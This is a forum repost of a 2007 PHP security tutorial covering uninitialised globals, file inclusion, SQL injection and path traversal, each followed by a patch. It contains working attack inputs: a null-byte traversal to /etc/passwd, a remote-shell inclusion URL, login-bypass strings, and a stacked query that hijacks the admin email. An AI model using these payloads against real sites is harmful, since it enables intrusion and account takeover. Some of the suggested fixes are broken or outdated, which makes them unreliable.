发新话题
打印

[转载]PHP Undergroud Security

[转载]PHP Undergroud Security

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:Omnipresent

/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/

-[ INFOS ]-----------------------------------------------------------------------

Title: "PHP Undergroud Security"
Author: Omnipresent
E-Mail: omnipresent@email.it - omni@playhack.net
Website: http://omni.playhack.net - http://www.playhack.net
Date: 2007-04-12

---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------

        0x00: Let's start..
        0x01: Global Variables, look it carefully
               
  • Patching
            0x02: File Inclusion
                   
  • Patching
            0x03: XSS
            0x04: SQL Injection
                    \_ 0x04a: Login Bypass
                    \_ 0x04b: 1 Query? No.. 2 one!
                   
  • Patching
            0x05: File Traverse
                   
  • Patching
            0x05: Conclusion
           
    ---------------------------------------------------------------------------------



    ---[ 0x00: Let's start.. ]

    Hello to everybody, first of all I'm sorry for my poor english but is not my
    mother language.

    In this tutorial I will explain the PRINCIPALES PHP mistake; how to find it,
    how to exploit it and at the end, how to patch it!

    Have fun!


    -----------------------------------------------------------------------------[/]


    ---[ 0x01: Global Variables, look it carefully]

    In PHP you don't have to declare a variable and this is a great thing for a
    programmer; the variables will be created "automatically" when you have to use it.
    Great thing you are thinking.. Yes, but sometimes.
    PHP, as we know, often take an input from the users, and it will process it. If we
    have never delcared a varible before using it maybe we can have some problem concerning
    the Security of our Web Application. For example, take a look of the follow piece of code:

            [...]

            if ($is_admin == 1) {
                    //Yes, I'm the admin so call the Administration Pannel
                    [...]
            } else {
                    //No, I'm not the admin
                    [...]
            }

    Ok, as we can see $is_admin is never delcared before being used, so if we can pass
    this variable to this PHP script (BUGGED) maybe we can have unauthorized access to
    the Administration Pannel. Yes, but how to gain Admin Credential Rights? Simple:

    http://remote_host/bugged.php?is_admin=1

    ---[ Patching ]---

    How to patch this bug? Simple and quickly: DECLARE $is_admin before the IF
    statement; like it:

    $is_admin = 0;

    [...]

            if ($is_admin == 1) {
                    //Yes, I'm the admin so call the Administration Pannel
                    [...]
            } else {
                    //No, I'm not the admin
                    [...]
            }

    -----------------------------------------------------------------------------[/]


    ---[ 0x02: File Inclusion]

    -----[ Local File Inclusion]

    PHP is a great language, powerful and simple; but you must take a look to your
    code if you don't want Security Issue in your codes.
    In many situations is great thing the use dynamic includes, where the part of the
    pathname is stored in a variable. For example, take the following example:

    <?php

            include "/users/".$include_path.".php";
            [...]
    ?>


    The $include_path is not declared before being used so, an attacker can put
    tainted data in this variable and include some other files like /etc/passwd..
    For example, a user can EASILY view another file by modifying the value of the
    include_path in the URL. For example:

    http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

    The result of this inclusion will be:

    <?php

            include "/users/../../../../etc/passwd%00.php"
            [...]
    ?>

    So a malicious user can see all stored passwords in the server.

    - [ NOTE ] -

    %00, what's that? Simple, it means a NULL CHAR that "delete" the PHP extension.
    If we omit this NULL Byte we will be able to display ONLY .php files because
    the extension included is PHP (include "/users/".$include_path.".PHP")

    -------------------------------------------------------------------------------

    -----[ Remote File Inclusion]

    Take a look of the following code:

    <?php

            [...]

                    include($_GET['pag']);

            [...]

    ?>

    As we can see, $page is not validated before being used so a malicious user could
    include or call (as you prefer to say) his script via the browser and gain access
    to the machine or view, as before, a file.

    Example one: (gain access to the machine)

    http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]

    Example two: (view files)

    http://remote_host/inc.php?pag=/etc/passwd

    ---[ Patching ]---

    The solution? validate the input. One of lots of methods to validate inputs
    would be to create a list of acceptable pages as shown below:

    [...]

            $pag = $_GET['pag'];

            $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');
           
                    if(in_array($pag, $pages))
                    {
                            include($pag);
                    {
                            else
                            {
                            die("Hacking Attempt!");
                            }

    [...]

    -----------------------------------------------------------------------------[/]

    ---[ 0x03: XSS]

    Hey, do you wanna know somethings about XSS?

    My partner has done a great work about XSS and it's useless to write the same things
    so, take a look of:

            [+] "Cross-Site Scripting for Fun and Profit"
                http://www.playhack.net/view.php?type=1&id=18

            [+] "Applying XSS to Phishing Attacks"
                http://www.playhack.net/view.php?type=1&id=20

    -----------------------------------------------------------------------------[/]

    ---[ 0x03: SQL Injection]

    With SQL Injection, as the name said, you can inject SQL Code in the query string
    of a bugged web application.


    ------[ 0x04b Login Bypass ]


    Before starting with an elegant :D example we must know some things about SQL:

    - (') apex? What's that? In the SQL Statement this is an operator and for us
    (Attacker part) this is very important for the exloiting of some vulnerabilities.
    It delimit the strings..

    - (#) Comments? Right :D with this '#' (without apex) it means that in the SQL
    Statement we are trying to made a comment. Take it in your mind because it very
    useful and important!

    - (;) It means that we made a new query on the DataBase.. easy

    Ok, after a little break on useful operands (for hacking.. right :D) we can made
    the first example: Login Bypass - Gain Admin Credential Rights

    <?php

            // login.php
                   
            $nick = $_POST['nick'];
            $pass = $_POST['pass'];

            $link = mysql_connect('localhost', 'root', 'root') or die('Error: '.
                    mysql_error());

            mysql_select_db("sql_inj", $link);


    $query = mysql_query("SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'",
    $link);

    if (mysql_num_rows($query) == 0) {
    echo "<script type=\"text/javascript\">window.location.href='index.html';</script>";
    exit;
    }

            $logged = 1;

            [...]

            //EoF

            ?>



    This script is very simple but very useful to learn somethings about SQL Injection.
    As we can see the variables $nick and $pass are not properly sanitized before
    being used in the SQL query, so we can inject our code.. our SQL code!

    Take a look of the query:

    "SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'"

    What happends if we pass two variables tainted like these:

    $nick = 1' OR '1' = '1
    $pass = 1' OR '1' = '1

    The new query will be:

    "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' AND pass ='1' OR '1' = '1'"

    mmh.. clear? not? ok let me made clarity..

    If you know something about truth tables you do not have problems to understand..

    1 OR 1 = 1 ??

    one OR one is equal to one ? Yeees obvious!!!

    So, who is the first user in the table 'sql_inj'?
    Maybe who installed the Web Application? Yes! The Admin :D

    So, we are logged in as the first user and the first user is the Admin so..
    we are the Admin ;) Cool right?

    We can put also this query string:

    $nick = 1' OR '1' = '1' #
    $pass = what_we_want_to_put

    The new query will be:

    "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put"

    As we said before the '#' it means that what it has after it's a comment! The
    NEWEST :D query is:

    "SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1'

    and... we are again the Admin :D


    ------[ 0x04b: 1 Query? No.. 2 one! ]

    With SQL Injection we can modify the query and we can insert new dates, update
    users profiles and much more.. Let's look this source code:

    <?php

    //email.php

    [...]

    $email = $_POST['email'];

    [...]

    $query = mysql_query("SELECT email, passwd, user_name FROM users WHERE email =
    '".$email."'");
    [...]

    ?>

    Oh oh oh.. what we have here? $email variable is not properly sanitized before
    being used.. great!! We can exploit it and.. for example update
    DataBase informations easily by putting in the variable something like this:

    $email =  x'; UPDATE users SET email = 'omnipresent@email.it'
              WHERE email = 'admin@site.com ';

    and the new query will be:

    SELECT email, passwd, user_name FROM users
            WHERE email = ' x'; UPDATE users SET email = 'omnipresent@email.it'
            WHERE email = 'admin@site.com ';

    Here the attacker has updated the 'users' table, in particular in the admin email
    field, with his email. So, with the script, for example, "Forgot your password?"
    he can pass his email (omnipresent@email.it in this case :D) and receive an
    email like the follow:

            From: host@site.com
            To: omnipresent@email.it
            Subject: Login Password

            Ehy.. take it ;)

            Username: Admin
            Password: 12345

            Regards,
            Admin


    ---[ Patching ]---

    First of all, for patching the scripts we can choose to make some cool modification
    on php.ini file:

    1. set magic_quotes_gcp to On
      It will insert escape characters before the apex (') hold in:
            -COOKIE
            -POST
            -GET

    2. use addslashes()
       It will quote the string with the slashes '/'

    3. htmlspecialchars()
       It will converts special chars in HTML entity

    4. mysql_escape_string()
       Escape a string used in mysql_query

    5. Look www.php.net for more functions ;)

    6. Validate the input passed from the user, like the example below:

            $user_id = (int)$_GET['user_id'];
           
            $user_id is always an integer and we can cast the input for securing
            our web applications.


    -----------------------------------------------------------------------------[/]


    ---[ 0x05: File Traverse ]

    Trasversing the filesystem is a really important and critical bug; and a little
    explaination of this bug is the minimum that I can made :D

    Whenever we use a file we must indicate the filename and the filepath at some
    point in our scripts. In many cases, the filename is an argument passed by the
    users; an argument passed to the function fopen(), like:

    <?php

    [...]

            $fp = fopen("/path/{$_GET['filename']}.txt", 'r');

    [...]

    ?>

    In this script exists a vulnerability because 'filename' could be tainted by a
    remote user.
    In this case the attacker can traverses the filesystem by using multiple
    instances of "../" to move up to the directory tree and see other files.

    For example:
    http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

    However, keep in mind that NULL Byte (%00) is used in lots of attacks to terminate
    a string and avoid the filename extansion limitations.

    ---[ Patching ]---

    A great solution to patch this script is to use basename() function as show in the
    example below:

    <?php

            $clean = array();
           
            if (basename($_GET['filename']) == $_GET['filename'])
                    {
                            $clean['filename'] = $_GET['filename'];
                    }
            else
                    {

                            [...]

                    }

    $fp = fopen("/path/{$clean['filename']}.txt", 'r');


    ?>


    -----------------------------------------------------------------------------[/]


    ---[ 0x06: Conclusion ]

    This is the end of my paper "PHP Undergroud Security" and I hope that it will
    help you to make secure PHP code!

    For any problems do not esitate to mail me at omnipresent@email.it or
    omni@playhack.net.


    -----------------------------------------------------------------------------[/]

    \======================================[EOF]=====================================/
  • 曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

    TOP

    发新话题